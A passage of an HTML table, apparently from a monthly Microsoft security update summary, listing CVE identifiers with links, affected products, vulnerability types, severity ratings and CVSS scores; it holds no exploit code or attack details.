  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
